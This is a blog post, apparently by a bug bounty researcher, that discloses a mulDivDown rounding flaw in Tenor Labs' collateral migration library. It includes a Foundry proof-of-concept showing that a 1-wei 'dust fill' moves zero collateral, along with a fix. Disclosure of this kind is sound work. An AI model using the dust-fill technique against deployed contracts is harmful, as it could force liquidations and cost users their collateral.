devto 2026-10-25 원문 보기 ↗
Smart contract security is often about finding the invisible edge cases. While participating in a recent bug bounty for Tenor Labs (a protocol built on top of Morpho Midnight), I discovered a high-severity rounding vulnerability in their migration callbacks.
If exploited, this flaw allows an attacker to artificially inflate a user's Loan-to-Value (LTV) ratio to infinity, triggering an immediate liquidation of the user's pre-existing collateral.
In this article, I’ll break down the vulnerability, explain the math behind the exploit, and provide the Foundry Proof of Concept (PoC) that proves it works.
Tenor Labs is a suite of non-custodial smart contracts that extends the Morpho Midnight protocol. One of its core features is the ability for borrowers to seamlessly migrate their debt and collateral between different markets (e.g., moving a position from Market A to Market B).
This is handled by BorrowMidnightRenewalCallback.sol and the CollateralTransferLib.
When a position is migrated, the protocol calculates how much collateral needs to move from the source market to the target market. It does this pro-rata, based on the amount of debt being repaid.
mulDivDown Rounding to Zero
The core of the bug lies in the transferCollaterals function within CollateralTransferLib.sol. The code uses mulDivDown to calculate the collateral to transfer:
if (sourceDebtBefore != repaidUnits) {
collateralToTransfer = collateralToTransfer.mulDivDown(repaidUnits, sourceDebtBefore);
}
mulDivDown performs multiplication followed by division, always rounding down.
Here is the fatal flaw: In DeFi, debt accrues interest. If a borrower has 1000e18 in collateral and 1000e18 in debt, after one block, their debt might be 1000e18 + 1 wei due to interest.
If an attacker performs a "dust fill" on the migration offer (repaying exactly 1 wei), the math looks like this:
1000e18 * 1 / (1000e18 + 1) = 0.999...
Because mulDivDown rounds down to the nearest integer, the collateralToTransfer becomes 0.
The developers actually left a comment in the code acknowledging this rounding behavior, noting that it "temporarily increases the target position's LTV until the position is fully migrated."
However, this assumption is fatally flawed. An attacker can weaponize this "temporary" state:
To prove this, I wrote a Foundry test that replicates the math. I mocked the Midnight interface and set up a scenario where a user has 1000e18 collateral but 1000e18 + 1 debt (simulating accrued interest).
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import {Test, console} from "forge-std/Test.sol";
import {CollateralTransferLib} from "../src/libraries/CollateralTransferLib.sol";
import {Market, CollateralParams, IMidnight} from "@midnight/interfaces/IMidnight.sol";
contract DustFillExploit is Test {
// ... Mocks setup ...
function testDustFillRoundsCollateralToZero() public {
// 1. Borrower has 1000e18 collateral on Market A
midnight.setCollateral(sourceMarketId, borrower, 0, 1000e18);
// 2. Debt is 1000e18 + 1 (due to accrued interest)
uint128 sourceDebtBefore = 1000e18 + 1;
// 3. Attacker does a dust fill of 1 wei
uint256 repaidUnits = 1;
// 4. Call the vulnerable library function directly
(address[] memory tokens, uint256[] memory amounts) = CollateralTransferLib.transferCollaterals(
IMidnight(address(midnight)),
sourceMarket,
targetMarket,
borrower,
sourceMarketId,
sourceDebtBefore,
repaidUnits
);
console.log("Collateral transferred to target:", amounts[0]);
// 5. The transferred collateral will be 0, proving the vulnerability
assertEq(amounts[0], 0, "Vulnerability proven: collateral rounded to zero!");
}
}
Output:
[PASS] testDustFillRoundsCollateralToZero() (gas: 65335)
Logs:
Collateral transferred to target: 0
To mitigate this vulnerability, the transferCollaterals function should enforce a minimum transfer amount. If the pro-rata calculation rounds down to zero, the transaction should revert to prevent unbacked debt from being created.
if (sourceDebtBefore != repaidUnits) {
collateralToTransfer = collateralToTransfer.mulDivDown(repaidUnits, sourceDebtBefore);
// Add this check:
if (collateralToTransfer == 0 && repaidUnits > 0) {
revert CallbackLib.ZeroAmount();
}
}
This bug is a perfect example of why rounding directions and edge cases matter so much in DeFi. A simple mulDivDown combined with accrued interest created a path to drain user funds.
If you are a developer, always assume debt and balances will have dust amounts, and protect your math accordingly. If you are a researcher, always read the developer comments—they often point you directly to the attack surface!
You can check out more of my security research and PoCs on my GitHub Portfolio.